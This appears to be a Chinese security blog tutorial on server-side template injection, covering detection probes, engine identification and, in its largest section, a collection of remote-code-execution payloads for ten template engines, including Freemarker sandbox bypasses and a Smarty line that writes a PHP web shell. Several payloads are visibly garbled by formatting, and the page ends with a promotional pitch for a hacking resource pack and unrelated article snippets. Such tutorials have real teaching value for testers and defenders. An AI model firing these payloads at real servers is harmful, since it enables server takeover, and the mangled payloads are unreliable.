news 2026/5/20 18:02:58

深度解析 SSTI 模板注入漏洞|原理剖析 + 实战检测 + 八大引擎全套 Payload 汇总

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深度解析 SSTI 模板注入漏洞|原理剖析 + 实战检测 + 八大引擎全套 Payload 汇总

**SSTI(服务端模板注入)**作为OWASP注入类漏洞中增长最快的攻击向量,其技术门槛相对较高,利用过程也更为复杂。早期接触时,我往往仅通过简单的{{7*7}}测试模板渲染参数,看到返回49便欣喜若狂,却对后续利用束手无策——比如Jinja2与Twig的Payload差异何在?沙箱逃逸如何实现?这些认知空白暴露了当时的知识短板。

今天系统梳理了SSTI漏洞的完整攻击面,与大家分享的同时也温故知新。内容涵盖从漏洞原理、检测方法、模板引擎识别,到基础利用链、沙箱绕过和WAF对抗等关键维度。由于内容较多,将分为上下两篇:上篇重点讲解原理与基础利用,下篇深入探讨沙箱绕过与高级实战技巧。

SSTI模板注入全解析(上):从原理到基础利用

⚠️郑重声明:以下所有技术内容仅供学习研究,所有操作必须在拥有明确授权的环境中进行。未授权的渗透测试属于违法行为。

一、SSTI是什么:当用户输入变成了代码

1.1 模板引擎与渲染机制

现代Web开发广泛采用MVC架构,其中模板引擎的主要作用是将数据模型动态注入模板文件,最终生成完整的HTML页面。其核心工作原理可概括为:

模板文件 + 数据模型 = 输出页面

模板引擎(如Jinja2、Twig、Freemarker)为增强灵活性,提供了变量渲染、条件判断、循环和函数调用等功能。这种设计本无问题,但当开发者直接将用户输入拼接到模板代码而非作为数据参数传递时,就会产生安全漏洞。
1.2 安全写法 vs 危险写法

安全写法:用户输入作为数据传递

# 模板是固定的,用户输入是数据
template = “Hello, {{ name }}!”
data = {“name”: user_input}
output = render(template, data)

即使用户输入{{7*7}},模板引擎也只会将其作为普通字符串输出,因为它是数据,不是代码。

危险写法:用户输入拼接到模板中

# 用户输入直接拼入模板字符串
template = f"Hello, {user_input}!"
output = render(template)

如果用户输入{{77}},最终模板变成Hello, {{77}}!,模板引擎会执行这个表达式,返回Hello, 49!

这就是SSTI的本质:数据与代码的边界被混淆

1.3 SSTI的危害等级

SSTI的危害取决于模板引擎的能力:

危害等级表现典型引擎
信息泄露读取配置、环境变量几乎所有引擎
文件读取读取服务器任意文件Jinja2、Freemarker、Twig
远程代码执行(RCE)执行系统命令,完全控制服务器Jinja2、Freemarker、Mako、ERB

多数模板引擎具备文件系统访问和命令执行功能,一旦被注入,攻击者便能迅速掌控服务器。

二、SSTI检测:三步确认漏洞存在

2.1 第一步:寻找注入点

SSTI可能出现在任何用户输入被渲染的位置:

🔹 URL参数(如?name=user

🔹 表单提交数据

🔹 HTTP头部(User-Agent、Referer、X-Forwarded-For)

🔹 JSON/XML请求体

🔹 邮件模板、PDF生成功能

2.2 第二步:数学表达式探测

向疑似注入点提交简单的数学表达式,观察返回结果:

探测Payload预期结果说明
{{7*7}}49Jinja2/Twig/Django模板
${7*7}49Freemarker/Velocity/Thymeleaf
<%= 7*7 %>49ERB/Ruby
#{7*7}49Thymeleaf/FreeMarker
*{7*7}49Thymeleaf
${{7*7}}49Vue.js/Angular(注意区分CSTI)

如果返回计算结果而非原始字符串,SSTI漏洞基本确认。

关键区分{{7*'7'}}可以区分Jinja2和Twig:

🔹 Jinja2返回7777777(字符串乘法)

🔹 Twig返回49(数学运算)

2.3 第三步:多语言Polyglot探测

当不确定目标使用哪种模板引擎时,使用多语言Payload一次性覆盖:

${7_7}
{{7_7}}
<%= 7_7 %>
#{7*7}
_{7_7}
${{7_7}}
#{7*7}

哪个表达式被成功执行,就说明目标使用的是对应的模板引擎。

2.4 错误信息辅助判断

故意提交畸形语法触发错误信息:

{{}}
${}
<%= %>

错误信息中可能直接暴露模板引擎名称,如:

🔹TemplateSyntaxError→ Jinja2

🔹Invalid reference→ Freemarker

🔹TemplateRenderingException→ Thymeleaf

三、模板引擎识别:决策树定位

确认SSTI存在后,需要精确识别模板引擎,才能构造对应的利用Payload。以下决策树覆盖主流引擎:

输入 {{7_7}} 返回49?
├── 是 → 输入 {{7_’7’}} 返回什么?
│ ├── 7777777 → Jinja2(Python)
│ ├── 49 → Twig(PHP)
│ └── 报错 → Django模板 / Handlebars
├── 否 → 输入 ${7_7} 返回49?
│ ├── 是 → 输入 <_#if 1==1>yes</#if> 有效?*
│ │ ├── 是 → Freemarker(Java)
│ │ └── 否 → Velocity(Java) / Thymeleaf
│ ├── 否 → 输入 <%= 7*7 %> 返回49?
│ │ ├── 是 → ERB(Ruby)
│ │ └── 否 → 输入#{7*7} 返回49?
│ │ ├── 是 → Thymeleaf(Java)
│ │ └── 否 → 可能是Mako / Slim等

各引擎语法特征速查

引擎语言变量输出注释代码执行标记
Jinja2Python{{var}}{# comment #}{% %}
TwigPHP{{var}}{# comment #}{% %}
FreemarkerJava${var}<#-- comment --><# %>,<@>
VelocityJava$var## comment#set,#if
ThymeleafJava[[${var}]]<!--/ *-->*/th:text
ERBRuby<%= var %><%# comment %><% %>
MakoPython${var}## comment<% %>
SmartyPHP{$var}{ *comment* }{php}{/php}
EJSJavaScript<%= var %><%# comment %><% %>
PugJavaScript#{var}//- comment- code

四、基础利用:各引擎RCE Payload

4.1 Python / Jinja2

Jinja2是Python生态最流行的模板引擎(Flask默认使用),也是CTF和实战中最常遇到的SSTI类型。

直接利用(无沙箱)

# 读取配置信息
{{config}}
{{self.dict}}

# 直接执行命令(需要os模块在全局变量中)
{{os.popen(‘id’).read()}}
{{lipsum.globals[‘os’].popen(‘id’).read()}}
{{cycler.init.globals.os.popen(‘id’).read()}}

经典MRO链利用

os模块不在全局变量中时,需要通过Python的类继承链(MRO)找到可执行命令的类:

# 第一步:获取所有子类
{{‘’.class.mro[1].subclasses()}}

# 第二步:找到os._wrap_close或subprocess.Popen的索引
# 遍历子类列表,找到目标类的索引号

# 第三步:通过索引调用执行命令
{{‘’.class.mro[1].subclasses()[132].init.globals’popen’.read()}}

Jinja2常用RCE Payload汇总

# 方式1:通过lipsum全局变量
{{lipsum.globals[‘os’].popen(‘id’).read()}}

# 方式2:通过cycler对象
{{cycler.init.globals.os.popen(‘id’).read()}}

# 方式3:通过joiner对象
{{joiner.init.globals.os.popen(‘id’).read()}}

# 方式4:通过namespace对象
{{namespace.init.globals.os.popen(‘id’).read()}}

# 方式5:通过request对象
{{request.application.globals.builtins.import(‘os’).popen(‘id’).read()}}

# 方式6:通过url_for全局函数
{{url_for.globals[‘os’].popen(‘id’).read()}}

# 方式7:通过get_flashed_messages
{{get_flashed_messages.globals[‘os’].popen(‘id’).read()}}

4.2 Python / Mako

Mako是另一个Python模板引擎,以性能著称,Pyramid框架默认使用。

# 直接访问os模块
${self.module.cache.util.os.system(“id”)}

# 通过__init__.__globals__访问
${self.init.globals[‘util’].os.system(‘id’)}

# 通过template属性访问
${self.template.init.globals[‘os’].system(‘id’)}

# 利用__builtins__
${import(‘os’).popen(‘id’).read()}

4.3 Python / Tornado

Tornado框架自带模板引擎,语法类似Jinja2但更简洁:

# 直接导入os模块执行命令
{% import os %}
{{os.popen(‘id’).read()}}

# 通过application对象
{{handler.application.settings}}

# 通过request对象
{{handler.request.remote_ip}}

4.4 PHP / Twig

Twig是Symfony框架的默认模板引擎,PHP生态中最流行的模板引擎之一。

# Twig 1.x(支持{{_self}})
{{_self.env.registerUndefinedFilterCallback(“exec”)}}
{{_self.env.getFilter(“id”)}}

# Twig 2.x/3.x
{{[‘id’]|filter(‘system’)}}

# 利用map过滤器
{{[“id”]|map(“system”)|join(“,”)}}

# 利用sort过滤器
{{[“id”]|sort(“system”)|join(“,”)}}

# 利用reduce过滤器
{{[0,0]|reduce(“system”,“id”)|join(“,”)}}

4.5 PHP / Smarty

Smarty是另一个老牌PHP模板引擎,支持直接执行PHP代码(旧版本):

# 直接执行PHP代码(Smarty 3.1.39之前)
{php}system(‘id’);{/php}

# 利用Smarty内置函数
{Smarty_Internal_Write_File::writeFile( S C R I P T N A M E , " < ? p h p p a s s t h r u ( SCRIPT_NAME,“<?php passthru( SCRIPTN​AME,"<?phppassthru(\_GET\[‘cmd’\]); ?>”,self::clearConfig())}

# 通过{if}标签执行
{if phpinfo()}{/if}
{if system(‘id’)}{/if}

# 通过fetch/display函数
{fetch file=“id” assign=“x”}
{$x}

4.6 Java / Freemarker

Freemarker是Java企业级应用中最常用的模板引擎,Spring MVC项目广泛使用。

<#-- 方式1:通过Execute类直接执行命令(Freemarker < 2.3.30) -->
<#assign ex=“freemarker.template.utility.Execute”?new()>
${ex(“id”)}

<#-- 方式2:通过ObjectWrapper访问Runtime -->
<#assign value=“freemarker.template.utility.ObjectConstructor”?new()>
${value(“java.lang.ProcessBuilder”,“id”).start()}

<#-- 方式3:通过JythonRuntime -->
<#assign value=“freemarker.template.utility.JythonRuntime”?new()>
<@value>import os;os.system(“id”)/@value

踩坑经验:Freemarker ≥ 2.3.30 版本默认禁止加载ExecuteObjectConstructorJythonRuntime这三个危险类。此时需要通过Class.forName绕过:

```freemarker

<#-- 高版本绕过:通过Class.forName反射加载 -->

${Class.forName(“java.lang.ProcessBuilder”,true,Thread.currentThread().getContextClassLoader()).newInstance([“/bin/bash”,“-c”,“id”]).start()}

```

4.7 Java / Velocity

Velocity是Apache基金会的Java模板引擎,常见于老旧企业系统:

## 方式1:通过Runtime执行命令
$!{Runtime.getRuntime().exec(“id”)}

## 方式2:通过ProcessBuilder
#set($e=“e”)
$e.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“id”)

## 方式3:通过Class.forName
#set( x = " " ) # s e t ( x=“”) \#set( x=“”)#set(rt= x . c l a s s . f o r N a m e ( " j a v a . l a n g . R u n t i m e " ) ) # s e t ( x.class.forName(“java.lang.Runtime”)) \#set( x.class.forName(“java.lang.Runtime”))#set(chr= x . c l a s s . f o r N a m e ( " j a v a . l a n g . C h a r a c t e r " ) ) # s e t ( x.class.forName(“java.lang.Character”)) \#set( x.class.forName(“java.lang.Character”))#set(str= x . c l a s s . f o r N a m e ( " j a v a . l a n g . S t r i n g " ) ) # s e t ( x.class.forName(“java.lang.String”)) \#set( x.class.forName(“java.lang.String”))#set(ex=$rt.getRuntime().exec(“id”))

4.8 Java / Thymeleaf

Thymeleaf是Spring Boot的默认模板引擎,SSTI利用相对困难,但仍有攻击路径:

// 方式1:SpringEL表达式(预处理阶段)
${T(java.lang.Runtime).getRuntime().exec(‘id’)}::.x

// 方式2:OGNL表达式
[[${T(java.lang.Runtime).getRuntime().exec(‘id’)}]]

// 方式3:通过SpEL创建ProcessBuilder
[[${new java.lang.ProcessBuilder({‘id’}).start()}]]

注意:Thymeleaf默认不允许动态生成模板,SSTI漏洞通常只出现在开发者手动调用templateEngine.process()并拼接用户输入的场景。

4.9 Ruby / ERB

ERB是Ruby on Rails的默认模板引擎:

<%= system(‘id’) %>
<%=id%>
<%= exec(‘id’) %>
<%= IO.popen(‘id’).readlines() %>
<%= require ‘open3’; Open3.capture2(‘id’) %>

4.10 Go / text.template

Go的text/template引擎设计上不支持函数调用和代码执行,SSTI危害较低,但可以泄露数据:

{{.}}
{{.Field}}

Go的html/template自动转义,基本无法利用。但如果开发者使用了text/template处理HTML,仍可能存在信息泄露。

如何系统学习网络安全/黑客?

网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。

如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!

下面是我整理的网安资源,希望能帮到你。

😝需要的话,可以V扫描下方二维码联系领取~

如果二维码失效,可以点击下方👇链接去拿,一样的哦

【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!

1.从0到进阶主流攻防技术视频教程(包含红蓝对抗、CTF、HW等技术点)


2.入门必看攻防技术书籍pdf(书面上的技术书籍确实太多了,这些是我精选出来的,还有很多不在图里)

3.安装包/源码

主要攻防会涉及到的工具安装包和项目源码(防止你看到这连基础的工具都还没有)

4.面试试题/经验

网络安全岗位面试经验总结(谁学技术不是为了赚$呢,找个好的岗位很重要)

😝需要的话,可以V扫描下方二维码联系领取~

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

如果二维码失效,可以点击下方👇链接去拿,一样的哦

【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/20 18:02:38

FFT补零技术解析:从频率分辨率到工程实践

1. 项目概述&#xff1a;从一次频谱分析的“翻车”说起几年前&#xff0c;我在调试一个射频接收模块时&#xff0c;遇到了一个让人挠头的问题。我用示波器采集了一段看似干净的1MHz和1.05MHz的双音信号&#xff0c;然后兴冲冲地丢进MATLAB做FFT分析&#xff0c;想看看频谱是否纯…

作者头像 李华
网站建设 2026/5/20 18:02:17

全域旅游整合共生!巨有科技构建目的地文旅新生态

发展全域旅游&#xff0c;是破解旅游发展不平衡不充分问题、拉动区域经济的国家战略。其核心在于打破“景点旅游”的孤岛模式&#xff0c;实现区域资源有机整合。然而&#xff0c;各地普遍面临资源分散、数据不通、营销乏力、服务不均等难题。巨有科技以“一机旅游”平台为核心…

作者头像 李华
网站建设 2026/5/20 18:01:56

HCV Core Protein (59-68);RGRRQPIPKA

一、基础信息多肽名称&#xff1a;丙型肝炎病毒 核心蛋白片段 (59-68) 英文名称&#xff1a;HCV Core Protein (59-68) 三字母序列&#xff1a;Arg-Gly-Arg-Arg-Gln-Pro-Ile-Pro-Lys-Ala 单字母序列&#xff1a;RGRRQPIPKA 氨基酸数量&#xff1a;10 aa 结构特征&#xff1a;线…

作者头像 李华
网站建设 2026/5/20 17:56:20

AVR微控制器早期工程样品探秘:从架构起源到现代嵌入式开发启示

1. 项目概述&#xff1a;追溯AVR微控制器的“创世”样本在嵌入式开发领域&#xff0c;AVR微控制器是一个绕不开的名字。从Arduino生态的普及&#xff0c;到工业控制、消费电子中的广泛应用&#xff0c;ATmega、ATtiny系列芯片早已深入人心。但你是否好奇过&#xff0c;这一切的…

作者头像 李华
网站建设 2026/5/20 17:55:13

桌面表达式计算器 cax 1.0.0

Windows计算器太难用了!!!! 何不动手搓一个计算器 借助于AI,可谓信手拈来......于是就有了这么个软件极简桌面计算器cax v1.0.0 支持十进制,二进制(0b前缀),十六进制(0x前缀),八进制(0前缀),浮点数, 混合表达式加()减(-)乘(*)除(/),求余(%),位与(&)或(|)异或(^),左移<&l…

作者头像 李华